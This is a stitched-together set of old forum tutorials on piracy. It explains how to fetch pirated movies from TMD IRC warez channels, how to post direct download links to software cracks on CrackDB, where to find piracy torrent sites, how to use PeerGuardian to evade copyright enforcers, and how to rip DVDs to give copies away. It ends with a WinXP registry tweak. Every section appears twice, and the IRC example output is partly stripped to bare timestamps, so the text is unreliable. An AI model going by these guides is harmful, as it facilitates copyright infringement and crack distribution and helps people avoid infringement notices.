[2:45am] [tmd]nailed.(evil).scr.(2of2).avi 59.3 mb
[2:45am] End of list.
Now to get a file you need to type "get". At that point you will either be sent the file, placed in queue for the file, of told that there isn't a free spot in the queue for you. Looking like this:
[2:50am] get [tmd]nailed.(evil).scr.(1of2).avi
[2:50am] Sending [tmd]nailed.(evil).scr.(1of2).avi ½169MB╗.
OR [2:50am]The file has been queued in slot 1
OR [2:50am] Sorry but the Maximum Allowed Queues of 10 has been reached. Please try again later.
The window may say something like "idle connection closing in 30 seconds", when you are finished either type "exit" or let the connection close. You will still get your download!
TIP: To quicky enter the filename you should copy and paste it. mIRC automaticly copys what ever text is selected to the clipboard. So select the filename (when you let go of the mouse button the selection will disappear) then use Ctrl+V (or right click and choose paste) to paste it.
A few other things you should know is how to go back a directory ("cd .."), how to see what files are sending ("sends"), and how to see who is in the queue ("queues").
Now to find the movie you are looking for.... As you may have seen in the chat screen you can search for what file you are looking for. This is done by using "@find". So if you were looking for "The Ring" then you would type "@find the ring". If any matching files were found new windows will open with the results. You will see these flashing red in the top bar. Clicking on them will display the results for each server the file was found in, looking a bit like this:
[@Find Results] -=SysReset 2.50=-
Found [2] files on Trigger [/ctcp Nickname-of-server !TRIGGER!] - Queues: [20/25]
File: [The Ring\[tmd]the.ring.(ftf).ts.(2of2).avi] - Size [149.7MB]
File: [The Ring\[tmd]the.ring.(ftf).ts.(1of2).avi] - Size [130.1MB]
End of @Find.
The things to pay attention to is the trigger and the "Queues". The "queues" tell you how many people are in line to get a file from this server. [20/25] means there are 20 people in line out of an available 25 slots. The fewer amout of people in the queue the shorter amount of time you have to wait before downloading. Once you find a good server, type in the trigger that is show and you will be connected to the file server.
TIP: To close all the windows that opened as a result of the @find type "/close -m" in the channel.
----------------- COMMON ERRORS AND PROBLEMS -----------------
Error: "You need to identify a registered nick to join..."
Solution: To register: type in (without quotes) "/msg NickServ REGISTER password youremailaddress". That will register your current nickname using the password and email specified. To identify type in (without quotes) "/msg NickServ IDENTIFY password" where password is the password you registered with.
Problem: "The video doesn't play right!"
Solution: Be sure to download and install the TMD Codec. If after you have intalled the codec the video still doesn't work, make sure you download the entire file, the file sizes are listed on our MoveBot.
Error: "No more connections allowed in your connection class"
Solution: This just means the server is full. There is nothing to do but wait till it connects. Patience is a virtue!
Problem: "I have been banned from the channel, what do I do?"
Solution: Most bans only last a minute, so try to join the channel later. If you still can not join, then private message the OP that banned you in #TMD. To send a private message type "/msg " in the channel substituting with the username of the person that banned you, and with the message you want to send.
Problem: "I downloaded a movie but the quality is bad!"
Solution: There is nothing you can do about it! TMD encodes movies that were supplied by a "ripping" group. We encoded those files to make them more compact for easy downloading, while keeping the best quality we can. Some movies we get are bad quality to begin with, and we do what we can with what we have to work with.
Problem: "How do I know what new movies have been released?"
Solution: We have a bot in #TMD-Moviez and #TMD, simply type "!newmoviez" into the channel for the last 10 releases. Type "!moviebot" for all of the bots commands.
-------------------------------------------------------------------------------------------
It all can be quite confusing at first glance, but after a week or two it seems simple! Any other questions you may have can probably be answered by going to #TMD. I hope this helps everybody.
****Written By Maveric****
--------------------- SETTING UP mIRC ---------------------
First of all you need to download mIRC from /http://www.mirc.com, this program will let you connect to the server and channel to download movies. Once installed run mIRC, and you will be presented with the mIRC options. The first thing you will see is the "Connect" options. Set the options as follows:
IRC Network: Select "Criten" from the dropdown list.
Full Name: Enter what you feel comfortable with.
Email Address: Enter your email address.
Nickname: Enter the nickname you want.
Alternative: If the nickname you picked isn't available this is the one it will use.
*If Criten isn't listed in the IRC Networks, hit the "Add" button.
Description: Criten
IRC Server: irc.Criten.net
Port(s): 6667
Group: Criten
Password: Leave Blank
Hit the "Add" Button to finish
Next we will move down to "DCC". Select "Auto-get file" (this will automaticly accept the files that are sent to you), click "YES" in the window that opens. Right next to the "Auto-get file" click on the "Minimize" option. Below that select select "Resume" from the drop-down list under "If file exists:". This option sets mIRC to automaticly resume any failed sends you may get instead of overwriting them.
Continuing in the "DCC" section, go down to "Folders". In the "DCC Ignore:" box select from the drop-down list "Disabled", then untick the "Turn ignore back on in:" box.
mIRC is now setup correctly to download movies from TMD! Hit "OK" on the bottom of the Options window and move on to the next part.
--------------- CONNECTING TO #TMD-MOVIEZ ---------------
In the upper left hand corner of mIRC you will see the "Connect" button in the tool bar, click it to connet to irc.Criten.net. Once it has connected (be patient it can take a while to finally connect on some days), a window will pop-up, this is the mIRC Channels list. On the right side of the window click the "Add" button. Another window will pop up, set it as follows:
Channel: Type in "#TMD-Moviez" (without the quotes)
Password: Leave blank.
Description: Just type in "TMD Moviez" or something of the sort.
Networks: Click the "Add" button and from the drop-down list select "Criten", then click "OK".
If you wish mIRC to automaticly connect to this channel once connected to the server, check the "Join channel on connect" box in the options. You may also wish to add the channel "#TMD" (Our chat channel) by repeating these steps.
Now click "OK" and it will show the mIRC Channels List again with the channel you just added. While the new channel is still selected click "Join" on the right side.
You can also type in /join #TMD-Moviez
A new window will appear with a bunch of text scrolling by, if you see this, than you did everything correctly! You are now in #TMD-Moviez! Move on to the next section for the fun part.
----------------- FINDING AND DOWNLOADING FILES -----------------
The things you see scrolling are ads and searches mainly. It is the ads that you may want to watch for. They consist of info about the server like this:
*********** Only an example server... Not a real one! ********
[2:29am]
Really the only thing you need to know to get started is how to connect to the file server and get a file.
The trigger is what you type into the channel to connect to the server. The trigger above would be "/ctcp TMD-Maveric !Maveric's Moviez!" (without the quotes) as noted by the "Triggers:½ ╗" You always type what is inbetween the ½╗. You will know you are connected when a window pops up with:
Serving YourNickname
Waiting for acknowledgement...
DCC Chat connection established
Then you will see alot of text fly by which you can read if you want, but it is not needed. You will be left with something like this "[\]", that is the root directory of the server. To view the files in that directory you type "dir". At that point the directory contents will be show like this:
[2:40am]
[2:40am]
[2:40am]
[2:40am]
[2:41am]
[2:41am]
[2:40am]
The ones in all caps are directories, and the others are files signified by the the name and size of the file. If you want to go to a directory you need to type "cd
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:44am]
[2:45am]
[2:45am]
[2:45am]
Now to get a file you need to type "get
[2:50am]
[2:50am]
OR [2:50am]
OR [2:50am]
The window may say something like "idle connection closing in 30 seconds", when you are finished either type "exit" or let the connection close. You will still get your download!
TIP: To quicky enter the filename you should copy and paste it. mIRC automaticly copys what ever text is selected to the clipboard. So select the filename (when you let go of the mouse button the selection will disappear) then use Ctrl+V (or right click and choose paste) to paste it.
A few other things you should know is how to go back a directory ("cd .."), how to see what files are sending ("sends"), and how to see who is in the queue ("queues").
Now to find the movie you are looking for.... As you may have seen in the chat screen you can search for what file you are looking for. This is done by using "@find
The things to pay attention to is the trigger and the "Queues". The "queues" tell you how many people are in line to get a file from this server. [20/25] means there are 20 people in line out of an available 25 slots. The fewer amout of people in the queue the shorter amount of time you have to wait before downloading. Once you find a good server, type in the trigger that is show and you will be connected to the file server.
TIP: To close all the windows that opened as a result of the @find type "/close -m" in the channel.
----------------- COMMON ERRORS AND PROBLEMS -----------------
Error: "You need to identify a registered nick to join..."
Solution: To register: type in (without quotes) "/msg NickServ REGISTER password youremailaddress". That will register your current nickname using the password and email specified. To identify type in (without quotes) "/msg NickServ IDENTIFY password" where password is the password you registered with.
Problem: "The video doesn't play right!"
Solution: Be sure to download and install the TMD Codec. If after you have intalled the codec the video still doesn't work, make sure you download the entire file, the file sizes are listed on our MoveBot.
Error: "No more connections allowed in your connection class"
Solution: This just means the server is full. There is nothing to do but wait till it connects. Patience is a virtue!
Problem: "I have been banned from the channel, what do I do?"
Solution: Most bans only last a minute, so try to join the channel later. If you still can not join, then private message the OP that banned you in #TMD. To send a private message type "/msg
Problem: "I downloaded a movie but the quality is bad!"
Solution: There is nothing you can do about it! TMD encodes movies that were supplied by a "ripping" group. We encoded those files to make them more compact for easy downloading, while keeping the best quality we can. Some movies we get are bad quality to begin with, and we do what we can with what we have to work with.
Problem: "How do I know what new movies have been released?"
Solution: We have a bot in #TMD-Moviez and #TMD, simply type "!newmoviez" into the channel for the last 10 releases. Type "!moviebot" for all of the bots commands.
-------------------------------------------------------------------------------------------
It all can be quite confusing at first glance, but after a week or two it seems simple! Any other questions you may have can probably be answered by going to #TMD. I hope this helps everybody.
****Written By Maveric****
How To Download Directly From Crackdb.com
Some of you may not know this, others may already knew it, however, because
of Sod rules which do no not allow indirect crack links, and because CrackDB
is a very good resource for cracks, i will show how to post links that lead
to a direct download from CrackDB.
The CrackDB server sends the archive of a crack as an attachment to the respond
for an HTTP request made by your browser, this means you (and your browser)
will never know the real location of the file, because of this you can't post a direct
link to the crack in your topic.
Using the Referer variable we can overcome this problem, but what referer to
use? if you used the domain name http://www.crackdb.com/
you will get nothing but a useless image file.
The correct refere is shown on your browser address bar. For example, if you
want the crack for IsoBuster Pro v1.6 you just type the name in the search box
and press Enter, the next page displays a list of items that match or nearly
match your search keywords, click on IsoBuster Pro v1.6 from the list and
you are now in the download page, the hyperlink named "Download" is the
link that initiates the request to the server to download the file, which looks
like this:
http://www.crackdb.com/x.php?id=12356
The referer is now displayed on your browser address bar, which looks like this:
http://www.crackdb.com/get.php?id=12356
Now, you use both links to refer to a direct crack download from CrackDB, like this
Fix:
http://www.crackdb.com/x.php?id=12356
Use this referer:
http://www.crackdb.com/get.php?id=12356
Any member now can copy & paste the links into his/her download manager and
start downloading immediatley.
I hope you find something usefull here. Thanx for reading this.
of Sod rules which do no not allow indirect crack links, and because CrackDB
is a very good resource for cracks, i will show how to post links that lead
to a direct download from CrackDB.
The CrackDB server sends the archive of a crack as an attachment to the respond
for an HTTP request made by your browser, this means you (and your browser)
will never know the real location of the file, because of this you can't post a direct
link to the crack in your topic.
Using the Referer variable we can overcome this problem, but what referer to
use? if you used the domain name http://www.crackdb.com/
you will get nothing but a useless image file.
The correct refere is shown on your browser address bar. For example, if you
want the crack for IsoBuster Pro v1.6 you just type the name in the search box
and press Enter, the next page displays a list of items that match or nearly
match your search keywords, click on IsoBuster Pro v1.6 from the list and
you are now in the download page, the hyperlink named "Download" is the
link that initiates the request to the server to download the file, which looks
like this:
http://www.crackdb.com/x.php?id=12356
The referer is now displayed on your browser address bar, which looks like this:
http://www.crackdb.com/get.php?id=12356
Now, you use both links to refer to a direct crack download from CrackDB, like this
Fix:
http://www.crackdb.com/x.php?id=12356
Use this referer:
http://www.crackdb.com/get.php?id=12356
Any member now can copy & paste the links into his/her download manager and
start downloading immediatley.
I hope you find something usefull here. Thanx for reading this.
How To Download Bittorrent Files
Downloading BitTorrent Files
What is BitTorrent in Plain English?
BitTorrent is a program you download. It is similar to a peer-to-peer file sharing service. Basically it goes like this: You download the installer. You get the link to a file that ends in .torrent and enter that URL into your browser (preferably Internet Explorer). This opens the BitTorrent download window. It starts downloading the file, or episode that you wanted (eg. alias2x01.torrent). As it downloads, it uploads the parts that you have to other people so many people can get it at once. When you've finished downloading the file, you can leave the window open (don't press finish or close the window) and other people can still download from you. This is very much encouraged.
I'm new to all this. How do I download with BitTorrent???
First we need to download and install a BitTorrent client
Official client 3.3
CODE
http://www.bitconjurer.org/BitTorrent/index.html
Experimental client 3.2.1b-2
CODE
http://ei.kefro.st/projects/btclient
TheShad0w Experimental S-5.8.3
CODE
http://home.elp.rr.com/tur
Azureus 2.0.3.0
CODE
http://azureus.sourceforge.net/
burst! RC5d
CODE
http://krypt.dyndns.org:81/torrent/download.phtml
BT++ 0.5.4 alpha [code]http://btplusplus.sourceforge.net
Shareaza 1.8.9.22
CODE
http://www.shareaza.com
Nova Torrent 0.2.0
CODE
http://blackflaw.dyndns.org
SimpleBT 0.1.9
CODE
http://sourceforge.net/projects/simplebt
BitAnarch 1.0.5a
CODE
http://sourceforge.net/projects/bitanarch/
Personal Torrent Collector 0.8.2.2
CODE
http://ptc.sourceforge.net
Effusion 0.3.3 beta
CODE
http://www.azrael-uk.f2s.com/az/effusion
Snark 0.5 beta
CODE
http://www.klomp.org/snark
ByteTorrent 0.95
CODE
http://sourceforge.net/projects/bytetorrent/
ABC 2.5
CODE
http://pingpong-abc.sourceforge.net
Note:
If you?re client freezes during D/Ls, it?s a problem with you?re network card or modem, this happens when you connect to more peers than you?re card or modem can handle & windows shuts it down. There is a cure. Shad0ws Experimental client allows you to set how many incoming peers to allow.
All about BT:
CODE
http://www.dessent.net/btfaq/#now_what
How to D/L Torrent files
BitTorrent is not like other peer-to-peer applications (such as Winmx, Kazaa, Gnutella, etc.) in that it does not have its own \"universe.\" Put another way, BT lives on top of the Web, which means that all of the searching/listing of available files is done on the web. When you find a file you want to download, you click on it and the BitTorrent client program will run and ask you where to put it, and then start downloading. Or you save target as. Save the file somewhere then click on it when you?re ready to start the D/L.
It doesn't do anything it says:
Problem connecting to tracker - timeout exceeded
Problem connecting to tracker - HTTP Error 503: Connect failed
Problem connecting to tracker - [Error socket error] (10061, \" Connection refused\")
Problem connecting to tracker - (111, \'Connection refused\'
Generally just wait ... this normally means that the \'Tracker\' is maybe too busy. Leave your window open and it will try to connect every 2 minutes or so.
Note: BT dose resume downloads, just click the torrent file again when you are ready to resume the D/L and save it to same place as the original. All clients have an option for default D/L directory. I suggest setting this option.
My speed is always very slow!!!!!!!!!!
Speeds can be real slow if your one of the below, they all can bet set to allow BT in and out
#1 behind a firewall
#2 behind a router
#3 on a network
#4 Xps firewall is enabled
ports 6881 thru 6999 need to be open to get good speeds
If you need info on bit torrent and how to set it up with a firewall or router
CODE
http://knowbuddy.dyndns.org/torrent/btclientconfig.html
Get general info on how torrent works and how it uses ports
CODE
http://knowbuddy.dyndns.org/torrent/btclientconfig.html
http://www.dessent.net/btfaq/
Where do I get torrent files???
Suprnova mirrors are the best site?s, updated every 20 minutes.
CODE
http://www.suprnova.org
There are others you can use here is another one:
CODE
http://www.torrentbox.com
Places to find other torrent sites
CODE
http://torrentlinks.com/index.php?action=displaycat&catid=10
http://members.chello.nl/~p.wiersema/
http://home.quicknet.nl/qn/prive/romeria/bittorrentsites.htm
Torrent Search engine
CODE
http://novasearch.net/
Keeping up with the torrent network
CODE
http://www.digital-update.com/forums/attachment.php?s=&postid=163113
http://www.filesoup.com/phpBB2/index.php
http://www.lickmytaint.com/
http://suprnova.org/
PeerGuardian
What does PeerGuardian actually do?
PeerGuardian does two things to help P2P users. The first is the obvious one, it closes connections on certain IP addresses. The second is that it optionally logs all connections made to your computer. The reason for this is so that if you do use PeerGuardian but still get sent a legal threat, you can cross-reference the date/time of the alleged infringement with the log. This gives us a list of IPs, one of which will be the IP that's doing the busting. It's basically to help us identify which IPs are doing the busting and weren't known to PeerGuardian before. - Hope that makes sense.
Is PeerGuardian 100% Protection?
CERTAINLY NOT!!! - PeerGuardian relies on users sharing information to stay up to date. It IS contributory to protection and (I'm not trying to blow my own trumpet here!!) it seems to be the most up-to-date and open database of this nature on the internet (as far as I know). The more people who are using full-logging and report the relevant IPs when they get a C&D threat (see above paragraph), the more people we can save. ANONYMOUS P2P is the way ahead IMHO, PeerGuardian isn't 100% effective.. I've NEVER claimed that and never will and I look forward to the day that PG (not just the app, more.. the database and communication between p2p'ers on blocking IPs) becomes totally redundant. I'm just trying to help supply the next-best thing until we get to that stage.
I use PeerGuardian and have still been sent a legal threat.
What do I do?
First of all, stop sharing the file you got busted with. If you're worried, try sharing older/rarer files. If you share Bourne Identity, Terminator 3 and a load of Busta Rhymes mp3s after being busted, you'll be asking for trouble. Second thing to do, check the "full connection log" in PeerGuardian. (you did have it enabled didn't you?) - Work out the difference in timezones on the infringement warning and cross-reference it with the log. From this you should be able to identify a handful of IPs. Either post that list to the PG forums for one of our admins/moderators/members to investigate or investigate it yourself and post the p2p enemy IP to the on-line database. - There are plans to automate this whole process in the future.
CODE
http://www.peerguardian.net/
Well it isn't really much of a tutorial but I spent a lot of time on this so please help me out if it is wrong.
-=-Bullet-T00th-=-
What is BitTorrent in Plain English?
BitTorrent is a program you download. It is similar to a peer-to-peer file sharing service. Basically it goes like this: You download the installer. You get the link to a file that ends in .torrent and enter that URL into your browser (preferably Internet Explorer). This opens the BitTorrent download window. It starts downloading the file, or episode that you wanted (eg. alias2x01.torrent). As it downloads, it uploads the parts that you have to other people so many people can get it at once. When you've finished downloading the file, you can leave the window open (don't press finish or close the window) and other people can still download from you. This is very much encouraged.
I'm new to all this. How do I download with BitTorrent???
First we need to download and install a BitTorrent client
Official client 3.3
CODE
http://www.bitconjurer.org/BitTorrent/index.html
Experimental client 3.2.1b-2
CODE
http://ei.kefro.st/projects/btclient
TheShad0w Experimental S-5.8.3
CODE
http://home.elp.rr.com/tur
Azureus 2.0.3.0
CODE
http://azureus.sourceforge.net/
burst! RC5d
CODE
http://krypt.dyndns.org:81/torrent/download.phtml
BT++ 0.5.4 alpha [code]http://btplusplus.sourceforge.net
Shareaza 1.8.9.22
CODE
http://www.shareaza.com
Nova Torrent 0.2.0
CODE
http://blackflaw.dyndns.org
SimpleBT 0.1.9
CODE
http://sourceforge.net/projects/simplebt
BitAnarch 1.0.5a
CODE
http://sourceforge.net/projects/bitanarch/
Personal Torrent Collector 0.8.2.2
CODE
http://ptc.sourceforge.net
Effusion 0.3.3 beta
CODE
http://www.azrael-uk.f2s.com/az/effusion
Snark 0.5 beta
CODE
http://www.klomp.org/snark
ByteTorrent 0.95
CODE
http://sourceforge.net/projects/bytetorrent/
ABC 2.5
CODE
http://pingpong-abc.sourceforge.net
Note:
If you?re client freezes during D/Ls, it?s a problem with you?re network card or modem, this happens when you connect to more peers than you?re card or modem can handle & windows shuts it down. There is a cure. Shad0ws Experimental client allows you to set how many incoming peers to allow.
All about BT:
CODE
http://www.dessent.net/btfaq/#now_what
How to D/L Torrent files
BitTorrent is not like other peer-to-peer applications (such as Winmx, Kazaa, Gnutella, etc.) in that it does not have its own \"universe.\" Put another way, BT lives on top of the Web, which means that all of the searching/listing of available files is done on the web. When you find a file you want to download, you click on it and the BitTorrent client program will run and ask you where to put it, and then start downloading. Or you save target as. Save the file somewhere then click on it when you?re ready to start the D/L.
It doesn't do anything it says:
Problem connecting to tracker - timeout exceeded
Problem connecting to tracker - HTTP Error 503: Connect failed
Problem connecting to tracker - [Error socket error] (10061, \" Connection refused\")
Problem connecting to tracker - (111, \'Connection refused\'
Generally just wait ... this normally means that the \'Tracker\' is maybe too busy. Leave your window open and it will try to connect every 2 minutes or so.
Note: BT dose resume downloads, just click the torrent file again when you are ready to resume the D/L and save it to same place as the original. All clients have an option for default D/L directory. I suggest setting this option.
My speed is always very slow!!!!!!!!!!
Speeds can be real slow if your one of the below, they all can bet set to allow BT in and out
#1 behind a firewall
#2 behind a router
#3 on a network
#4 Xps firewall is enabled
ports 6881 thru 6999 need to be open to get good speeds
If you need info on bit torrent and how to set it up with a firewall or router
CODE
http://knowbuddy.dyndns.org/torrent/btclientconfig.html
Get general info on how torrent works and how it uses ports
CODE
http://knowbuddy.dyndns.org/torrent/btclientconfig.html
http://www.dessent.net/btfaq/
Where do I get torrent files???
Suprnova mirrors are the best site?s, updated every 20 minutes.
CODE
http://www.suprnova.org
There are others you can use here is another one:
CODE
http://www.torrentbox.com
Places to find other torrent sites
CODE
http://torrentlinks.com/index.php?action=displaycat&catid=10
http://members.chello.nl/~p.wiersema/
http://home.quicknet.nl/qn/prive/romeria/bittorrentsites.htm
Torrent Search engine
CODE
http://novasearch.net/
Keeping up with the torrent network
CODE
http://www.digital-update.com/forums/attachment.php?s=&postid=163113
http://www.filesoup.com/phpBB2/index.php
http://www.lickmytaint.com/
http://suprnova.org/
PeerGuardian
What does PeerGuardian actually do?
PeerGuardian does two things to help P2P users. The first is the obvious one, it closes connections on certain IP addresses. The second is that it optionally logs all connections made to your computer. The reason for this is so that if you do use PeerGuardian but still get sent a legal threat, you can cross-reference the date/time of the alleged infringement with the log. This gives us a list of IPs, one of which will be the IP that's doing the busting. It's basically to help us identify which IPs are doing the busting and weren't known to PeerGuardian before. - Hope that makes sense.
Is PeerGuardian 100% Protection?
CERTAINLY NOT!!! - PeerGuardian relies on users sharing information to stay up to date. It IS contributory to protection and (I'm not trying to blow my own trumpet here!!) it seems to be the most up-to-date and open database of this nature on the internet (as far as I know). The more people who are using full-logging and report the relevant IPs when they get a C&D threat (see above paragraph), the more people we can save. ANONYMOUS P2P is the way ahead IMHO, PeerGuardian isn't 100% effective.. I've NEVER claimed that and never will and I look forward to the day that PG (not just the app, more.. the database and communication between p2p'ers on blocking IPs) becomes totally redundant. I'm just trying to help supply the next-best thing until we get to that stage.
I use PeerGuardian and have still been sent a legal threat.
What do I do?
First of all, stop sharing the file you got busted with. If you're worried, try sharing older/rarer files. If you share Bourne Identity, Terminator 3 and a load of Busta Rhymes mp3s after being busted, you'll be asking for trouble. Second thing to do, check the "full connection log" in PeerGuardian. (you did have it enabled didn't you?) - Work out the difference in timezones on the infringement warning and cross-reference it with the log. From this you should be able to identify a handful of IPs. Either post that list to the PG forums for one of our admins/moderators/members to investigate or investigate it yourself and post the p2p enemy IP to the on-line database. - There are plans to automate this whole process in the future.
CODE
http://www.peerguardian.net/
Well it isn't really much of a tutorial but I spent a lot of time on this so please help me out if it is wrong.
-=-Bullet-T00th-=-
How to do a high Quality DivX rip
How to do a high Quality DivX rip
First and foremost, go to
http://www.doom9.org
and go to their downloads section.
get the following files:
under Audio:
Besweet
Besweet GUI
Under Codecs:
DivX 5.2.1 Pro
Under Divx/Mpeg-4 encoders:
Nandub 1.0RC2
then get this:
http://www.dvd-digest.tv/downloads/files/virtualdub/vdub_pack-145.exe
alternatively, get any version of virtualdub that includes mp3 support.
these are all the required tools, there are ways with fewer items, but they produce very inferior outputs. Besides, after you get used to it, the whole process is really easy.
Okay, first and foremost, pull out Nandub. This is the step that takes the longest, as well as where you will make most of your decisions. I am going to assume that you are making a 1 cd rip. If you do what is in this faq, there won't be much reason to do anything else. Twisted Evil
First of all, run Nandub . It will pop up a dialogue box, and want to know if you are making a new project or resuming an old. New, of course. Give it a name and tell fairuse where you want it to store its data. Fairuse is about to rip the entire movie to your harddrive(nice if you want to go rent a movie and return it the next day).
Then it will ask for your DVD drive with a dvd in it. give it. Then, select which video stream you want. This is usually pretty obvious as the movie stream is the one that is an hour or so long. If there are two of these, check out the other tags. which languages and so on. worst case senario is that you have to trial and error. but that is rare. choose the long stream and hit next.
This is where Nandub rips everything to your hard drive. depending on the speed of various components in your computer, and the length of the movie, this could take a while. let it finish. and then move on.
Once all that is done, the really important screen pops up. this is where you set resolutions and video length. first, cut off the ending credits with the slider, but DO NOT mess with the beginning, as the sound and video frames need to start at the same point for sync. Then hit auto set for the cropping region, this is usually just fine. Then decide whether or not you want subtitles, which would be the subpicture stream. When you're done, hit next.
Set the field mode to IVTC. This will give you better quality for size, as it runs at 24 frames instead of 30, due to the nature of divx, there won't be any noticeable difference in quality, but 6 less frames to deal with each second(and to store data for) really add up. Besides this is the correct mode for all movies anyway. NExt.
This is where you set FINAL file size, including audio, for 1 cd rip, set to 690, for 2, set to double that. Then follow the directions they give you and choose a final resolution that has between a 120:1 and 150:1 (if possible, sometimes the movie is compression ratio. NEXT!
This screen is where you determine quality. The autoadd button is usefull, and will give you decent quality, with 4 encodings. What this does is encode the movie 4 times, and then mix the frames to creat the final encoding, with the most efficient possible encoding for each frame. which is how we get bad ass quality for a single cd. I usually go for 8 encodings, as on my athlon 1600+ this rarely takes more than 8 hours to do, so I just go to sleep, wake up, and its done.
Then add the audio encoding that you want.
Hit next.
And let the bastard fly. Depending on what you set, and your computer, this could take from a few hours to a few days. CPU's of 1.2Ghz+ are nice right about here. You can do stuff while this is going on, but it makes things take much longer.
In the end you will have a bunch of encodings in the folder you specified at the beginning, the 4+ you chose and the final. You will also have an AC3 stream. Take the final AVI and toss it someplace to await the rest of the audio work you have to do, and you can erase the other encodings, freeing up a few gigs in the process of space.
NEXT: AUDIO
Ok, this is where Besweet comes in.
Extract BeSweet and the GUI into the same folder. Now Run the GUI.
At the top there are three fields. One for BeSweet which you should point at the besweet.exe that you should have unzipped to the same directory you are running the Gui from, A field for the AC3 stream, which is in the folder where you sent the encoded video from Fairuse, and an output mp3. The output mp3 has to be an existing file, so make a text file, rename it (yourmovie).mp3 and just say yeah, its cool to change the extension and make things weird. besweet will overwrite it so don't worry. point the third field at that file. The default values for stuff should be fine. but to make sure go to Azid 1(on the left) and select stereo, and then go to Lame 2 and select constant bit rate, and 128(assuming that is what you want). then click on besweet again, and finally, click on AC3 to MP3.
Let the bastard fly.
Now. When its done you should have an mp3 that is the entire soundtrack for the movie. This is where virtualdub comes in. run the virtualdub mp3 version. go to File:open video file and select the final encoding that you had from way back. Then go to audio and select mp3 audio. it will ask you for the file, give it the mp3. Go to audio again and make sure direct stream copy is selected. Then go to video and make sure that direct stream copy is also selected. Finally go to file again and SAVE AVI. give it a file name and let the bastard fly. This final file is your movie. Beautiful and glorious. Congratulations, its a DivX rip. Aren't you proud. burn to cd, and give copies to all your friends.
Note: These is a RIP
First and foremost, go to
http://www.doom9.org
and go to their downloads section.
get the following files:
under Audio:
Besweet
Besweet GUI
Under Codecs:
DivX 5.2.1 Pro
Under Divx/Mpeg-4 encoders:
Nandub 1.0RC2
then get this:
http://www.dvd-digest.tv/downloads/files/virtualdub/vdub_pack-145.exe
alternatively, get any version of virtualdub that includes mp3 support.
these are all the required tools, there are ways with fewer items, but they produce very inferior outputs. Besides, after you get used to it, the whole process is really easy.
Okay, first and foremost, pull out Nandub. This is the step that takes the longest, as well as where you will make most of your decisions. I am going to assume that you are making a 1 cd rip. If you do what is in this faq, there won't be much reason to do anything else. Twisted Evil
First of all, run Nandub . It will pop up a dialogue box, and want to know if you are making a new project or resuming an old. New, of course. Give it a name and tell fairuse where you want it to store its data. Fairuse is about to rip the entire movie to your harddrive(nice if you want to go rent a movie and return it the next day).
Then it will ask for your DVD drive with a dvd in it. give it. Then, select which video stream you want. This is usually pretty obvious as the movie stream is the one that is an hour or so long. If there are two of these, check out the other tags. which languages and so on. worst case senario is that you have to trial and error. but that is rare. choose the long stream and hit next.
This is where Nandub rips everything to your hard drive. depending on the speed of various components in your computer, and the length of the movie, this could take a while. let it finish. and then move on.
Once all that is done, the really important screen pops up. this is where you set resolutions and video length. first, cut off the ending credits with the slider, but DO NOT mess with the beginning, as the sound and video frames need to start at the same point for sync. Then hit auto set for the cropping region, this is usually just fine. Then decide whether or not you want subtitles, which would be the subpicture stream. When you're done, hit next.
Set the field mode to IVTC. This will give you better quality for size, as it runs at 24 frames instead of 30, due to the nature of divx, there won't be any noticeable difference in quality, but 6 less frames to deal with each second(and to store data for) really add up. Besides this is the correct mode for all movies anyway. NExt.
This is where you set FINAL file size, including audio, for 1 cd rip, set to 690, for 2, set to double that. Then follow the directions they give you and choose a final resolution that has between a 120:1 and 150:1 (if possible, sometimes the movie is compression ratio. NEXT!
This screen is where you determine quality. The autoadd button is usefull, and will give you decent quality, with 4 encodings. What this does is encode the movie 4 times, and then mix the frames to creat the final encoding, with the most efficient possible encoding for each frame. which is how we get bad ass quality for a single cd. I usually go for 8 encodings, as on my athlon 1600+ this rarely takes more than 8 hours to do, so I just go to sleep, wake up, and its done.
Then add the audio encoding that you want.
Hit next.
And let the bastard fly. Depending on what you set, and your computer, this could take from a few hours to a few days. CPU's of 1.2Ghz+ are nice right about here. You can do stuff while this is going on, but it makes things take much longer.
In the end you will have a bunch of encodings in the folder you specified at the beginning, the 4+ you chose and the final. You will also have an AC3 stream. Take the final AVI and toss it someplace to await the rest of the audio work you have to do, and you can erase the other encodings, freeing up a few gigs in the process of space.
NEXT: AUDIO
Ok, this is where Besweet comes in.
Extract BeSweet and the GUI into the same folder. Now Run the GUI.
At the top there are three fields. One for BeSweet which you should point at the besweet.exe that you should have unzipped to the same directory you are running the Gui from, A field for the AC3 stream, which is in the folder where you sent the encoded video from Fairuse, and an output mp3. The output mp3 has to be an existing file, so make a text file, rename it (yourmovie).mp3 and just say yeah, its cool to change the extension and make things weird. besweet will overwrite it so don't worry. point the third field at that file. The default values for stuff should be fine. but to make sure go to Azid 1(on the left) and select stereo, and then go to Lame 2 and select constant bit rate, and 128(assuming that is what you want). then click on besweet again, and finally, click on AC3 to MP3.
Let the bastard fly.
Now. When its done you should have an mp3 that is the entire soundtrack for the movie. This is where virtualdub comes in. run the virtualdub mp3 version. go to File:open video file and select the final encoding that you had from way back. Then go to audio and select mp3 audio. it will ask you for the file, give it the mp3. Go to audio again and make sure direct stream copy is selected. Then go to video and make sure that direct stream copy is also selected. Finally go to file again and SAVE AVI. give it a file name and let the bastard fly. This final file is your movie. Beautiful and glorious. Congratulations, its a DivX rip. Aren't you proud. burn to cd, and give copies to all your friends.
Note: These is a RIP
How To Disable Picture And Fax Viewer
We all know that WinXP likes to keep itself held together, and how it doesnt like you uninstalling certain components. Well The Picture and Fax Viewer, is one of these programs which can cause problems if removed incorrectly. It can be disabled safely as follows:
[Start] [Run] type regedit and click [OK]
Navigate to :
HKEY_CLASSES_ROOT/ SystemFileAssociations/ image/ ShellEx/ ContextMenuHandlers
then delete the Folder ShellImagePreview under ContextMenuHandlers
Note: If you want to restore the Picture and Fax Viewer :
Create the ShellImagePreview folder and create the String Value (Default)
Assign it the value {e84fda7c-1d6a-45f6-b725-cb260c236066}
NOTE: This tweak doesnt uninstall the program. It removes the association and therefore it cannot be run.
[Start] [Run] type regedit and click [OK]
Navigate to :
HKEY_CLASSES_ROOT/ SystemFileAssociations/ image/ ShellEx/ ContextMenuHandlers
then delete the Folder ShellImagePreview under ContextMenuHandlers
Note: If you want to restore the Picture and Fax Viewer :
Create the ShellImagePreview folder and create the String Value (Default)
Assign it the value {e84fda7c-1d6a-45f6-b725-cb260c236066}
NOTE: This tweak doesnt uninstall the program. It removes the association and therefore it cannot be run.
